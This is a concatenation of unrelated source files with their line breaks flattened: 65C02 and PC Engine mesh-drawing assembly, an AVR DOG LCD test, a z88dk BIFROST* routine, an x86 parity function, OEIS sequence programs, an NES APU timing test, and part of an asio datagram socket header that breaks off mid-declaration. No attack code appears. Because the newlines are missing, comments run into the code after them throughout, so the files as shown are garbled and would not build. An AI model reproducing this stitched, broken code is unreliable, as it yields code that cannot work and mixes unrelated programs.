AM_ABSOLUTE_X ; $FD .byte OP_INC, AM_ABSOLUTE_X ; $FE .byte OP_BBS, AM_ABSOLUTE ; $FF [65C02 only] ; *** Strings *** ContinueString: .byte " <SPACE> TO CONTINUE, <ESC> TO STOP",0
.bank RAMCODE_BANK .org (RAMCODE_MPR<<13) .code ;---------------------------------------------------------------------- ; Initialize effect draw_mesh_init: ; set vdc control register vreg #5 ; disable bg, sprite, vertical blanking and scanline interrupt stz <vdc_crl st1 #$00 st2 #$00 ; reset scroll coordinates st0 #$07 st1 #$00 st2 #$00 st1 #$08 st1 #$00 st2 #$00 ; setup pattern (vram tiles + BAT) stw #$2000, <_si stw #$0000, <_ax lda #00 sta <_cl lda #200 sta <_ch stz <_bl jsr draw_cube_pattern ; precompute scroll coordinates w/r span width lda #00 sta <_cl lda #200 sta <_ch lda #$ff sta <_al sta <_ah lda #128 sta <_bl jsr compute_cube_scroll_coord ; set palette entry lda #2 sta color_reg_l lda #0 sta color_reg_h lda #$ff sta color_data_l lda #$01 sta color_data_h ; copy code to VRAM tii RAMCODE_SRC, RAMCODE_BASE, ramcode_end-ramcode_start ; set output set_line_output span_pos set_line_color_output span_col stz angle ; set and enable vdc interrupts; set_vec #VSYNC,mesh_vsync_handler vec_on #VSYNC set_vec #HSYNC,mesh_hsync_handler vec_on #HSYNC lda #$00 sta color_ctrl ; set vdc control register vreg #5 ; enable bg, vertical blanking and scanline interrupt and disable sprites lda #%10001100 sta <vdc_crl sta video_data_l st2 #$00 cli lda #$00 jmp wait_vsync ;;--------------------------------------------------------------------- ; name : draw_cube_pattern ; desc : draw horizontal lines for cube pattern ; in : _si vram address ; _al X bat coordinate ; _ah Y bat coordinate ; _cl min width ; _ch max width ; _bl palette to use ; out : ;;--------------------------------------------------------------------- draw_cube_pattern: ; Adjust _cl to the lowest multiple of 8 lda <_cl lsr A lsr A lsr A sta <_cl ; Adjust _ch to the highest multiple of 8 lda <_ch clc adc #$07 lsr A lsr A lsr A sta <_ch ; Set vram write pointer _set_vram_addr #VDC_WRITE, <_si vreg #$02 ; We are filling plane #1 (this will be the color at palette index #2) st1 #$00 st2 #$ff st2 #$ff st2 #$ff st2 #$ff st2 #$ff st2 #$ff st2 #$ff st2 #$ff st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$80 st2 #$C0 st2 #$E0 st2 #$F0 st2 #$F8 st2 #$FC st2 #$FE st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 st2 #$00 ; Bat value is (_bl<<12) | (_si>>4) lda <_bl lsr A ror <_si+1 ror <_si lsr A ror <_si+1 ror <_si lsr A ror <_si+1 ror <_si lsr A ror <_si+1 ror <_si lda <_ah ldx <_al ; Compute VRAM address and stores it into _di jsr calc_vram_addr ; This will setup the BAT. ; It will create lines using the 2 tiles previously generated. .l0: _set_vram_addr VDC_WRITE, <_di vreg #$02 ldx <_si ldy <_si+1 lda <_cl beq .l2 .l1: stx video_data_l ; vram = addr | pal sty video_data_h ; this is the "plain tile" dec A bne .l1 ; while(A != 0) .l2: inx stx video_data_l ; vram = (addr+1) | pal sty video_data_h ; this is the tile with the lines of decreasing width lda bat_width ; jump to next bat line clc adc <_di sta <_di lda <_di+1 adc #0 sta <_di+1 inc <_cl lda <_cl cmp <_ch bcc .l0 beq .l0 ; while(_cl <= _ch) rts ;;--------------------------------------------------------------------- ; name : compute_cube_scroll_coord ; desc : Compute X and Y scroll coordinate ; in : _cl min width ; _ch max width ; _al X bat coordinate ; _ah Y bat coordinate ; _bl half screen width ; out : ;;--------------------------------------------------------------------- compute_cube_scroll_coord: lda <_al clc adc <_bl sta <_al ldy <_cl .l0: tya clc adc <_al sta x_scroll, y tya asl A clc adc <_ah sta y_scroll, y iny cpy <_ch bcc .l0 beq .l0 rts ;---------------------------------------------------------------------- ; RAM code start .org RAMCODE_BASE .code ramcode_start: ;---------------------------------------------------------------------- ; Bresenham line drawing draw_line: lda <_y+1 ; _dy = y1 - y0 sta .y_end+1 sec sbc <_y sta <_dy ldx #INST_INX ; xdir = +1 (inx) lda <_x+1 ; _dx = x1 - x0 sta .x_end+1 sec sbc <_x bcs .positive .negative: ; if(_dx < 0) eor #$ff ; { adc #$01 ; _dx = -_dx ldx #INST_DEX ; xdir = -1 (dex) .positive: ; } stx .sx.0 ; store xdir at the appropriate places stx .sx.1 ldx <_x ldy <_y cmp <_dy bcc .steep .flat: sta .dx.0+1 lsr A sta <_err ; _err = _dx >> 1 lda <_dy sta .dy.0+1 .l0: ; for(x=x0; x<x1; x++) ; { txa ; setup y scroll position0 .dst.0: cmp $3200, Y ; if(x < scroll[y]) ignore it bcc .nop.0 .dst.1: sta $3200, Y .col.src.0: lda #$00 ; set color .col.dst.0: sta $3300, Y .nop.0: lda <_err ; _err -= _dy sec .dy.0: sbc #$00 bcs .no_yinc ; if _err < 0 .dx.0: adc #$00 ; _err += dx .sy.0: iny ; y += 1 .no_yinc: sta <_err .sx.0: inx ; x += xdir .x_end: cpx #$00 bne .l0 ; } rts .steep: sta .dx.1+1 lda <_dy sta .dy.1+1 lsr A sta <_err ; _err = _dy >> 1 .l1: ; for(y=y0; y<y1; y++) ; { txa ; setup y scroll position0 .dst.2: cmp $3200, Y ; if(x < scroll[y]) ignore it bcc .nop.1 .dst.3: sta $3200, Y .col.src.1: lda #$00 ; set color .col.dst.1: sta $3300, Y .nop.1: lda <_err ; _err -= dx sec .dx.1: sbc #$00 bcs .no_xinc ; if _err < 0 .dy.1: adc #$00 ; _err += dy .sx.1: inx ; x += 1 .no_xinc: sta <_err .sy.1: iny ; y += ydir .y_end: cpy #$00 bne .l1 ; } .end: line.io.0 = .dst.0+1 line.io.1 = .dst.1+1 line.io.2 = .dst.2+1 line.io.3 = .dst.3+1 line.col.src.0 = .col.src.0+1 line.col.src.1 = .col.src.1+1 line.col.dst.0 = .col.dst.0+1 line.col.dst.1 = .col.dst.1+1 rts mulTable_0=mulTable mulTable_1=mulTable mulTable_2=mulTabHi0 mulTable_3=mulTabHi0+$100 ;---------------------------------------------------------------------- ; Draw mesh draw_mesh: ; First update vertices clx .update_vertices.0: ; y = angle + mesh_angle[current] .data_angle: lda mesh_angle, X clc .angle: adc #$00 tay ; Store cos and sin for later multiplication. lda cosTable_small, Y sta .cs0+1 eor #$ff inc A sta .cs1+1 lda sinTable_small, Y sta .sn0+1 eor #$ff inc A sta .sn1+1 ; y = r * sn .data_radius: ldy mesh_radius, X sec .sn0: lda mulTable_0, Y .sn1: sbc mulTable_1, Y sta .y+1 ; z = r * cs sec .cs0: lda mulTable_0, Y .cs1: sbc mulTable_1, Y tay ; compute f/z lda divTable, Y sta .x0+1 sta .y0+1 eor #$ff inc A sta .x1+1 sta .y1+1 ; x' = x*A .data_x: ldy mesh_x, X sec .x0: lda mulTable_2, Y .x1: sbc mulTable_3, Y sta <_vx, X ; y' = y*A .y: ldy #$00 sec .y0: lda mulTable_0, Y .y1: sbc mulTable_1, Y sta .dy+1 .hy: lda #110 sec .dy: sbc #$00 sta <_vy, X inx .point_count: cpx #12 bne .update_vertices.0 half_height = .hy+1 data_angle = .data_angle+1 data_radius = .data_radius+1 data_x = .data_x+1 data_count = .point_count+1 angle = .angle+1 ; Then "fill" quads .draw_loop: .index.0: ldx #$00 lda <_vx, X sta <_x lda <_vy, X sta <_y .angle.0: lda mesh_angle, X .index.1: ldx #$00 stx .index.0+1 clc .angle.1: adc mesh_angle, X ror A clc adc angle tay lda <_vx, X sta <_x+1 lda <_vy, X sta <_y+1 inc .index.1+1 lda <_y cmp <_y+1 bcs .culling lda cosTable, Y ;lsr A lsr A lsr A lsr A sta line.col.src.0 sta line.col.src.1 jsr draw_line .culling: lda .index.1+1 .count: cmp #$00 bne .draw_loop mesh_vertex_index.0 = .index.0+1 mesh_vertex_index.1 = .index.1+1 mesh_vertex_count = .count+1 mesh_angle_src.0 = .angle.0+1 mesh_angle_src.1 = .angle.1+1 rts ;---------------------------------------------------------------------- ; Draw mesh list draw_mesh_list: .first: lda #$00 sta .idx+1 .draw_loop: .idx: ldx #$00 lda mesh_point_count, X sta mesh_vertex_count sta data_count dec A sta mesh_vertex_index.0 stz mesh_vertex_index.1 lda mesh_angle_ptr.lo, X sta data_angle sta mesh_angle_src.0 sta mesh_angle_src.1 lda mesh_angle_ptr.hi, X sta data_angle+1 sta mesh_angle_src.0+1 sta mesh_angle_src.1+1 lda mesh_radius_ptr.lo, X sta data_radius lda mesh_radius_ptr.hi, X sta data_radius+1 jsr draw_mesh inc .idx+1 lda .idx+1 .last: cmp #$04 bne .draw_loop inc angle mesh_list_first = .first+1 mesh_list_last = .last+1 rts ;---------------------------------------------------------------------- ; VSYNC handler mesh_vsync_handler: lda <vdc_reg sta video_reg ldy #(HSYNC << 1) lda #low(mesh_hsync_handler) sta user_jmptbl,Y iny lda #high(mesh_hsync_handler) sta user_jmptbl,Y stz color_reg_l stz color_reg_h lda #low(BASE_BACKGROUND_COLOR) sta color_data_l lda #high(BASE_BACKGROUND_COLOR) sta color_data_h st0 #8 st1 #$00 st2 #$01 st0 #6 ; restart the scanline counter on the first lda #$40 ; line sta video_data_l sta mesh_scanline.lo stz video_data_h stz mesh_scanline.hi stz mesh_line_offset jsr vgm_update irq1_end ;---------------------------------------------------------------------- ; HSYNC handler mesh_hsync_handler: inc mesh_scanline.lo bne .no_inc inc mesh_scanline.hi .no_inc: .offset: ldx #$00 .footer.rcy: cpx #180 bne .l0 ldy #(HSYNC << 1) .footer.lo: lda #low(.end) sta user_jmptbl,Y iny .footer.hi: lda #high(.end) sta user_jmptbl,Y .l0: inc .offset+1 lda span_pos, X stz span_pos, X tay lda (span_col-1), X ; [todo] duh! :( stz (span_col-1), X tax lda #2 sta color_reg_l stz color_reg_h lda dummy_gradient.lo, X sta color_data_l lda dummy_gradient.hi, X sta color_data_h st0 #7 lda x_scroll, Y sta video_data_l st2 #$01 ;clc ;adc #$ff ;sta video_data_l ;cla ;adc #$00 ;sta video_data_h st0 #8 lda y_scroll, Y sta video_data_l st2 #$00 st0 #6 .scanline.lo: lda #$00 sta video_data_l .scanline.hi: lda #$00 sta video_data_h .end: stz irq_status irq1_end mesh_line_offset = .offset+1 mesh_scanline.lo = .scanline.lo+1 mesh_scanline.hi = .scanline.hi+1 mesh_footer.rcy = .footer.rcy+1 mesh_footer.lo = .footer.lo+1 mesh_footer.hi = .footer.hi+1 ramcode_end:
;***************************************************************** ;********** BASIC DOG LCD TEST PROGRAM ********** ;***************************************************************** ; ;DOG_LCD_BasicTest.asm ; Simple test application to verify DOG LCD is properly ; wired. This test writes simple test messages to each ; line of the display. ; ;Version - 1.0a ; .nolist .include "m324adef.inc" .list .CSEG ; interrupt vector table, with several 'safety' stubs rjmp RESET ;Reset/Cold start vector reti ;External Intr0 vector reti ;External Intr1 vector ;---------------------------- SUBROUTINES ---------------------------- ;==================================== .include "lcd_dog_asm_driver_m324a.inc" ; LCD DOG init/update procedures. ;==================================== ;************************ ;NAME: clr_dsp_buffs ;FUNCTION: Initializes dsp_buffers 1, 2, and 3 with blanks (0x20) ;ASSUMES: Three CONTIGUOUS 16-byte dram based buffers named ; dsp_buff_1, dsp_buff_2, dsp_buff_3. ;RETURNS: nothing. ;MODIFIES: r25,r26, Z-ptr ;CALLS: none ;CALLED BY: main application and diagnostics ;******************************************************************** clr_dsp_buffs: ldi R25, 48 ; load total length of both buffer. ldi R26, ' ' ; load blank/space into R26. ldi ZH, high (dsp_buff_1) ; Load ZH and ZL as a pointer to 1st ldi ZL, low (dsp_buff_1) ; byte of buffer for line 1. ;set DDRAM address to 1st position of first line. store_bytes: st Z+, R26 ; store ' ' into 1st/next buffer byte and ; auto inc ptr to next location. dec R25 ; brne store_bytes ; cont until r25=0, all bytes written. ret ;******************* ;NAME: load_msg ;FUNCTION: Loads a predefined string msg into a specified diplay ; buffer. ;ASSUMES: Z = offset of message to be loaded. Msg format is ; defined below. ;RETURNS: nothing. ;MODIFIES: r16, Y, Z ;CALLS: nothing ;CALLED BY: ;******************************************************************** ; Message structure: ; label: .db <buff num>, <text string/message>, <end of string> ; ; Message examples (also see Messages at the end of this file/module): ; msg_1: .db 1,"First Message ", 0 ; loads msg into buff 1, eom=0 ; msg_2: .db 1,"Another message ", 0 ; loads msg into buff 1, eom=0 ; ; Notes: ; a) The 1st number indicates which buffer to load (either 1, 2, or 3). ; b) The last number (zero) is an 'end of string' indicator. ; c) Y = ptr to disp_buffer ; Z = ptr to message (passed to subroutine) ;******************************************************************** load_msg: ldi YH, high (dsp_buff_1) ; Load YH and YL as a pointer to 1st ldi YL, low (dsp_buff_1) ; byte of dsp_buff_1 (Note - assuming ; (dsp_buff_1 for now). lpm R16, Z+ ; get dsply buff number (1st byte of msg). cpi r16, 1 ; if equal to '1', ptr already setup. breq get_msg_byte ; jump and start message load. adiw YH:YL, 16 ; else set ptr to dsp buff 2. cpi r16, 2 ; if equal to '2', ptr now setup. breq get_msg_byte ; jump and start message load. adiw YH:YL, 16 ; else set ptr to dsp buff 2. get_msg_byte: lpm R16, Z+ ; get next byte of msg and see if '0'. cpi R16, 0 ; if equal to '0', end of message reached. breq msg_loaded ; jump and stop message loading operation. st Y+, R16 ; else, store next byte of msg in buffer. rjmp get_msg_byte ; jump back and continue... msg_loaded: ret ;********************************************************************** ;************* M A I N A P P L I C A T I O N C O D E ************* ;********************************************************************** RESET: ldi r16, low(RAMEND) ; init stack/pointer out SPL, r16 ; ldi r16, high(RAMEND) ; out SPH, r16 ldi r16, 0xff ; set portB = output. out DDRB, r16 ; sbi portB, 4 ; set /SS of DOG LCD = 1 (Deselected) rcall init_lcd_dog ; init display, using SPI serial interface rcall clr_dsp_buffs ; clear all three buffer lines ;load_line_1 into dbuff1: ldi ZH, high(line1_testmessage<<1) ; ldi ZL, low(line1_testmessage<<1) ; rcall load_msg ; load message into buffer(s). ldi ZH, high(line2_testmessage<<1) ; ldi ZL, low(line2_testmessage<<1) ; rcall load_msg ; load message into buffer(s). ldi ZH, high(line3_testmessage<<1) ; ldi ZL, low(line3_testmessage<<1) ; rcall load_msg ; load message into buffer(s). rcall update_lcd_dog end_loop: rjmp end_loop ;************************************************************** ;***** ALL MESSAGES: Fixed format, flash stored/loaded ****** ;************************************************************** line1_testmessage: .db 1, "Test Message 001", 0 ; message for line #1. line2_testmessage: .db 2, "Test Message 002", 0 ; message for line #2. line3_testmessage: .db 3, "Test Message 003", 0 ; message for line #3. ;***** END OF FILE ******
; ---------------------------------------------------------------- ; Z88DK INTERFACE LIBRARY FOR THE BIFROST* ENGINE - RELEASE 1.2/L ; ; See "bifrost_l.h" for further details ; ---------------------------------------------------------------- ; INCLUDED IN C INTERFACE DO NOT ADD TO LIST FILE SECTION code_clib SECTION code_bifrost_l PUBLIC asm_BIFROSTL_findAttrH asm_BIFROSTL_findAttrH: ; DE=lin ; BC=col ld hl,$e540 ; reference 'deltas' inside BIFROST* add hl,bc ld c,(hl) ; BC=delta ld h,d ld l,e ; HL=lin add hl,hl ; HL=lin*2 add hl,hl ; HL=lin*4 add hl,de ; HL=lin*5 add hl,hl ; HL=lin*10 add hl,hl ; HL=lin*20 add hl,hl ; HL=lin*40 add hl,de ; HL=lin*41 add hl,bc ; HL=lin*41 + delta ld de,58419 ; DE=59075 - 16*41 add hl,de ; HL=59075 + (lin-16)*41 + delta ret
.686 .model flat, c ;Implementation for this Assembly File ;extern "C" bool IsItEven(int value); ; Branchless Assembly ; 1 = True ; 0 = False .const dword_two DWORD 2 dword_neg_one DWORD -1 .code IsItEven proc push ebp ;push 32 bit pointer register(base pointer) mov ebp, esp ;move val from 32 bit stack pointer to base 32 bit base pointer mov eax,[ebp + 8] ; eax = value xor edx, edx ; Clearing out what ever value is in edx register div [dword_two] ; Will make the edx register contain one if it is not equally divisable by [dword_two] (2) otherwise it will return 0 mov eax, edx ; eax will have what ever value is in edx either 0 for even or 1 for not even add eax, [dword_neg_one] ;we subtract 1 from eax. So if eax = 0 or even then eax will be -1 and if it is 1 or not even it will be 0. basically remapping neg eax ;we negate eax so if it contains 0 for not even it will still be zero otherwise if it contain -1 for even it will be 1 pop ebp ; pop the 32 bit pointer register(base pointer) that was pushed ret IsItEven endp end
; A139544: Numbers which are not the difference of two squares of positive integers. ; 1,2,4,6,10,14,18,22,26,30,34,38,42,46,50,54,58,62,66,70,74,78,82,86,90,94,98,102,106,110,114,118,122,126,130,134,138,142,146,150,154,158,162,166,170,174,178,182,186,190,194,198,202,206,210,214,218,222,226,230 mov $1,$0 trn $1,3 add $0,$1 mul $0,2 trn $0,1 add $0,1
; Tests length counter timing in mode 1. .include "prefix_apu.a" reset: jsr setup_apu lda #2;) First length is clocked too soon sta result jsr sync_apu lda #$18 ; load length with 2 sta $4003 lda #$80 ; begin mode 1, clock length sta $4017 ldy #53 ; 14911 delay lda #55 jsr delay_ya1 lda $4015 ; read at 14915 jsr should_be_playing lda #3;) First length is clocked too late sta result jsr sync_apu lda #$18 ; load length with 2 sta $4003 lda #$80 ; begin mode 1, clock length sta $4017 ldy #53 ; 14912 delay lda #55 jsr delay_ya2 lda $4015 ; read at 14916 jsr should_be_silent lda #4;) Second length is clocked too soon sta result jsr sync_apu lda #$28 ; load length with 4 sta $4003 lda #$c0 ; clock length sta $4017 lda #$80 ; begin mode 1, clock length sta $4017 ldy #62 ; 37279 delay lda #119 jsr delay_ya0 lda $4015 ; read at 37283 jsr should_be_playing lda #5;) Second length is clocked too late sta result jsr sync_apu lda #$28 ; load length with 4 sta $4003 lda #$c0 ; clock length sta $4017 lda #$80 ; begin mode 1, clock length sta $4017 ldy #62 ; 37280 delay lda #119 jsr delay_ya1 lda $4015 ; read at 37284 jsr should_be_silent lda #6;) Third length is clocked too soon sta result jsr sync_apu lda #$28 ; load length with 4 sta $4003 lda #$80 ; begin mode 1, clock length sta $4017 ldy #93 ; 52193 delay lda #111 jsr delay_ya3 lda $4015 ; read at 52197 jsr should_be_playing lda #7;) Third length is clocked too late sta result jsr sync_apu lda #$28 ; load length with 4 sta $4003 lda #$80 ; begin mode 1, clock length sta $4017 ldy #93 ; 52194 delay lda #111 jsr delay_ya4 lda $4015 ; read at 52198 jsr should_be_silent lda #1;) Passed tests sta result error: jmp report_final_result should_be_playing: and #$01 beq error rts should_be_silent: and #$01 bne error rts
; A145135: Expansion of x/((1 - x - x^4)*(1 - x)^6). ; Submitted by Christian Krause ; 0,1,7,28,84,211,470,960,1836,3334,5806,9769,15973,25495,39869,61266,92743,138587,204790,299705,434952,626669,897239,1277674,1810906,2556330,3596075,5043660,7055942,9849608,13723939,19092231,26525165,36810670,51036551,70704539,97887712,135447780,187334999,259002136,357975856,494645395,683351148,943887223,1303575383,1800127662,2485597570,3431833853,4738008196,6541005543,9029765623,12465078237,17206906249,23752098898,32786446637,45256531260,62468899021,86226947066,119019864705,164283424812 lpb $0 mov $2,$0 sub $0,1 seq $2,145134 ; Expansion of x/((1 - x - x^4)*(1 - x)^5). add $3,$2 lpe mov $0,$3
; A168124: a(n) = n^2*(n^6+1)/2. ; 0,1,130,3285,32776,195325,839826,2882425,8388640,21523401,50000050,107179501,214990920,407865445,737894626,1281445425,2147483776,3487878865,5509980450,8491781701,12800000200,18911429901,27437937010,39155492905,55037657376,76293945625,104413532626,141214768605,188900999560,250123206901,328050000450,426445519201,549755814400,703204309665,892896953026,1125937695925,1410554954376,1756239727645,2173896069970,2676004631001,3276800000800,3992462615401,4841325999090,5844100139725,7024111813576 pow $0,2 mov $1,$0 pow $0,4 add $0,$1 div $0,2
// // basic_datagram_socket.hpp // ~~~~~~~~~~~~~~~~~~~~~~~~~ // // Copyright (c) 2003-2018 Christopher M. Kohlhoff (chris at kohlhoff dot com) // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // #ifndef EGT_ASIO_BASIC_DATAGRAM_SOCKET_HPP #define EGT_ASIO_BASIC_DATAGRAM_SOCKET_HPP #if defined(_MSC_VER) && (_MSC_VER >= 1200) # pragma once #endif // defined(_MSC_VER) && (_MSC_VER >= 1200) #include <egt/asio/detail/config.hpp> #include <cstddef> #include <egt/asio/basic_socket.hpp> #include <egt/asio/detail/handler_type_requirements.hpp> #include <egt/asio/detail/throw_error.hpp> #include <egt/asio/detail/type_traits.hpp> #include <egt/asio/error.hpp> #if defined(EGT_ASIO_ENABLE_OLD_SERVICES) # include <egt/asio/datagram_socket_service.hpp> #endif // defined(EGT_ASIO_ENABLE_OLD_SERVICES) #include <egt/asio/detail/push_options.hpp> namespace egt { namespace asio { /// Provides datagram-oriented socket functionality. /** * The basic_datagram_socket class template provides asynchronous and blocking * datagram-oriented socket functionality. * * @par Thread Safety * @e Distinct @e objects: Safe.@n * @e Shared @e objects: Unsafe. */ template <typename Protocol EGT_ASIO_SVC_TPARAM_DEF1(= datagram_socket_service<Protocol>)> class basic_datagram_socket : public basic_socket<Protocol EGT_ASIO_SVC_TARG> { public: /// The native representation of a socket. #if defined(GENERATING_DOCUMENTATION) typedef implementation_defined native_handle_type; #else typedef typename basic_socket< Protocol EGT_ASIO_SVC_TARG>::native_handle_type native_handle_type; #endif /// The protocol type. typedef Protocol protocol_type; /// The endpoint type. typedef typename Protocol::endpoint endpoint_type; /// Construct a basic_datagram_socket without opening it. /** * This constructor creates a datagram socket without opening it. The open() * function must be called before data can be sent or received on the socket. * * @param io_context The io_context object that the datagram socket will use * to dispatch handlers for any asynchronous operations performed on the * socket. */ explicit basic_datagram_socket(egt::asio::io_context& io_context) : basic_socket<Protocol EGT_ASIO_SVC_TARG>(io_context) { } /// Construct and open a basic_datagram_socket. /** * This constructor creates and opens a datagram socket. * * @param io_context The io_context object that the datagram socket will use * to dispatch handlers for any asynchronous operations performed on the * socket. * * @param protocol An object specifying protocol parameters to be used. * * @throws egt::asio::system_error Thrown on failure. */ basic_datagram_socket(egt::asio::io_context& io_context, const protocol_type& protocol) : basic_socket<Protocol EGT_ASIO_SVC_TARG>(io_context, protocol) { } /// Construct a basic_datagram_socket, opening it and binding it to the given /// local endpoint. /** * This constructor creates a datagram socket and automatically opens it bound * to the specified endpoint on the local machine. The protocol used is the * protocol associated with the given endpoint. * * @param io_context The io_context object that the datagram socket will use * to dispatch handlers for any asynchronous operations performed on the * socket. * * @param endpoint An endpoint on the local machine to which the datagram * socket will be bound. * * @throws egt::asio::system_error Thrown on failure. */ basic_datagram_socket(egt::asio::io_context& io_context, const endpoint_type& endpoint) : basic_socket<Protocol EGT_ASIO_SVC_TARG>(io_context, endpoint) { } /// Construct a basic_datagram_socket on an existing native socket. /** * This constructor creates a datagram socket object to hold an existing * native socket. * * @param io_context The io_context object that the datagram socket will use * to dispatch handlers for any asynchronous operations performed on the * socket. * * @param protocol An object specifying protocol parameters to be used. * * @param native_socket The new underlying socket implementation. * * @throws egt::asio::system_error Thrown on failure. */ basic_datagram_socket(egt::asio::io_context& io_context, const protocol_type& protocol, const native_handle_type& native_socket) : basic_socket<Protocol EGT_ASIO_SVC_TARG>( io_context, protocol, native_socket) { } #if defined(EGT_ASIO_HAS_MOVE) || defined(GENERATING_DOCUMENTATION) /// Move-construct a basic_datagram_socket from another. /** * This constructor moves a datagram socket from one object to another. * * @param other The other basic_datagram_socket object from which the move * will occur. * * @note Following the move, the moved-from object is in the same state as if * constructed using the @c basic_datagram_socket(io_context&) constructor. */ basic_datagram_socket(basic_datagram_socket&& other) : basic_socket<Protocol EGT_ASIO_SVC_TARG>(std::move(other)) { } /// Move-assign a basic_datagram_socket from another. /** * This assignment operator moves a datagram socket from one object to * another. * * @param other The other basic_datagram_socket object from which the move * will occur. * * @note Following the move, the moved-from object is in the same state as if * constructed using the @c basic_datagram_socket(io_context&) constructor. */ basic_datagram_socket& operator=(basic_datagram_socket&& other) { basic_socket<Protocol EGT_ASIO_SVC_TARG>::operator=(std::move(other)); return *this; } /// Move-construct a basic_datagram_socket from a socket of another protocol /// type. /** * This constructor moves a datagram socket from one object to another. * * @param other The other basic_datagram_socket object from which the move * will occur. * * @note Following the move, the moved-from object is in the same state as if * constructed using the @c basic_datagram_socket(io_context&) constructor. */ template <typename Protocol1 EGT_ASIO_SVC_TPARAM1> basic_datagram_socket( basic_datagram_socket<Protocol1 EGT_ASIO_SVC_TARG1>&& other, typename enable_if<is_convertible<Protocol1, Protocol>::value>::type* = 0) : basic_socket<Protocol EGT_ASIO_SVC_TARG>(std::move(other)) { } /// Move-assign a basic_datagram_socket from a socket of another protocol /// type. /** * This assignment operator moves a datagram socket from one object to * another. * * @param other The other basic_datagram_socket object from which the move * will occur. * * @note Following the move, the moved-from object is in the same state as if * constructed using the @c basic_datagram_socket(io_context&) constructor. */ template <typename Protocol1 EGT_ASIO_SVC_TPARAM1> typename enable_if<is_convertible<Protocol1, Protocol>::value, basic_datagram_socket>::type& operator=( basic_datagram_socket<Protocol1 EGT_ASIO_SVC_TARG1>&& other) { basic_socket<Protocol EGT_ASIO_SVC_TARG>::operator=(std::move(other)); return *this; } #endif // defined(EGT_ASIO_HAS_MOVE) || defined(GENERATING_DOCUMENTATION) /// Destroys the socket. /** * This function destroys the socket, cancelling any outstanding asynchronous * operations associated with the socket as if by calling @c cancel. */ ~basic_datagram_socket() { } /// Send some data on a connected socket. /** * This function is used to send data on the datagram socket. The function * call will block until the data has been sent successfully or an error * occurs. * * @param buffers One ore more data buffers to be sent on the socket. * * @returns The number of bytes sent. * * @throws egt::asio::system_error Thrown on failure. * * @note The send operation can only be used with a connected socket. Use * the send_to function to send data on an unconnected datagram socket. * * @par Example * To send a single data buffer use the @ref buffer function as follows: * @code socket.send(egt::asio::buffer(data, size)); @endcode * See the @ref buffer documentation for information on sending multiple * buffers in one go, and how to use it with arrays, boost::array or * std::vector. */ template <typename ConstBufferSequence> std::size_t send(const ConstBufferSequence& buffers) { egt::asio::error_code ec; std::size_t s = this->get_service().send( this->get_implementation(), buffers, 0, ec); egt::asio::detail::throw_error(ec, "send"); return s; } /// Send some data on a connected socket. /** * This function is used to send data on the datagram socket. The function * call will block until the data has been sent successfully or an error * occurs. * * @param buffers One ore more data buffers to be sent on the socket. * * @param flags Flags specifying how the send call is to be made. * * @returns The number of bytes sent. * * @throws egt::asio::system_error Thrown on failure. * * @note The send operation can only be used with a connected socket. Use * the send_to function to send data on an unconnected datagram socket. */ template <typename ConstBufferSequence> std::size_t send(const ConstBufferSequence& buffers, socket_base::message_flags flags) { egt::asio::error_code ec; std::size_t s = this->get_service().send( this->get_implementation(), buffers, flags, ec); egt::asio::detail::throw_error(ec, "send"); return s; } /// Send some data on a connected socket. /** * This function is used to send data on the datagram socket. The function * call will block until the data has been sent successfully or an error * occurs. * * @param buffers One or more data buffers to be sent on the socket. * * @param flags Flags specifying how the send call is to be made. * * @param ec Set to indicate what error occurred, if any. * * @returns The number of bytes sent. * * @note The send operation can only be used with a connected socket. Use * the send_to function to send data on an unconnected datagram socket. */ template <typename ConstBufferSequence> std::size_t send(const ConstBufferSequence& buffers, socket_base::message_flags flags, egt::asio::error_code& ec) { return this->get_service().send( this->get_implementation(), buffers, flags, ec); } /// Start an asynchronous send on a connected socket. /** * This function is used to asynchronously send data on the datagram socket. * The function call always returns immediately. * * @param buffers One or more data buffers to be sent on the socket. Although * the buffers object may be copied as necessary, ownership of the underlying * memory blocks is retained by the caller, which must guarantee that they * remain valid until the handler is called. * * @param handler The handler to be called when the send operation completes. * Copies will be made of the handler as required. The function signature of * the handler must be: * @code void handler( * const egt::asio::error_code& error, // Result of operation. * std::size_t bytes_transferred // Number of bytes sent. * ); @endcode * Regardless of whether the asynchronous operation completes immediately or * not, the handler will not be invoked from within this function. Invocation * of the handler will be performed in a manner equivalent to using * egt::asio::io_context::post(). * * @note The async_send operation can only be used with a connected socket. * Use the async_send_to function to send data on an unconnected datagram * socket. * * @par Example * To send a single data buffer use the @ref buffer function as follows: * @code * socket.async_send(egt::asio::buffer(data, size), handler); * @endcode * See the @ref buffer documentation for information on sending multiple * buffers in one go, and how to use it with arrays, boost::array or * std::vector. */ template <typename ConstBufferSequence, typename WriteHandler> EGT_ASIO_INITFN_RESULT_TYPE(WriteHandler, void (egt::asio::error_code, std::size_t)) async_send(const ConstBufferSequence& buffers, EGT_ASIO_MOVE_ARG(WriteHandler) handler) { // If you get an error on the following line it means that your handler does // not meet the documented type requirements for a WriteHandler. EGT_ASIO_WRITE_HANDLER_CHECK(WriteHandler, handler) type_check; #if defined(EGT_ASIO_ENABLE_OLD_SERVICES) return this->get_service().async_send(this->get_implementation(), buffers, 0, EGT_ASIO_MOVE_CAST(WriteHandler)(handler)); #else // defined(EGT_ASIO_ENABLE_OLD_SERVICES) async_completion<WriteHandler, void (egt::asio::error_code, std::size_t)> init(handler); this->get_service().async_send(this->get_implementation(), buffers, 0, init.completion_handler); return init.result.get(); #endif // defined(EGT_ASIO_ENABLE_OLD_SERVICES) } /// Start an asynchronous send on a connected socket. /** * This function is used to asynchronously send data on the datagram socket. * The function call always returns immediately. * * @param buffers One or more data buffers to be sent on the socket. Although * the buffers object may be copied as necessary, ownership of the underlying * memory blocks is retained by the caller, which must guarantee that they * remain valid until the handler is called. * * @param flags Flags specifying how the send call is to be made. * * @param handler The handler to be called when the send operation completes. * Copies will be made of the handler as required. The function signature of * the handler must be: * @code void handler( * const egt::asio::error_code& error, // Result of operation. * std::size_t bytes_transferred // Number of bytes sent. * ); @endcode * Regardless of whether the asynchronous operation completes immediately or * not, the handler will not be invoked from within this function. Invocation * of the handler will be performed in a manner equivalent to using * egt::asio::io_context::post(). * * @note The async_send operation can only be used with a connected socket. * Use the async_send_to function to send data on an unconnected datagram * socket. */ template 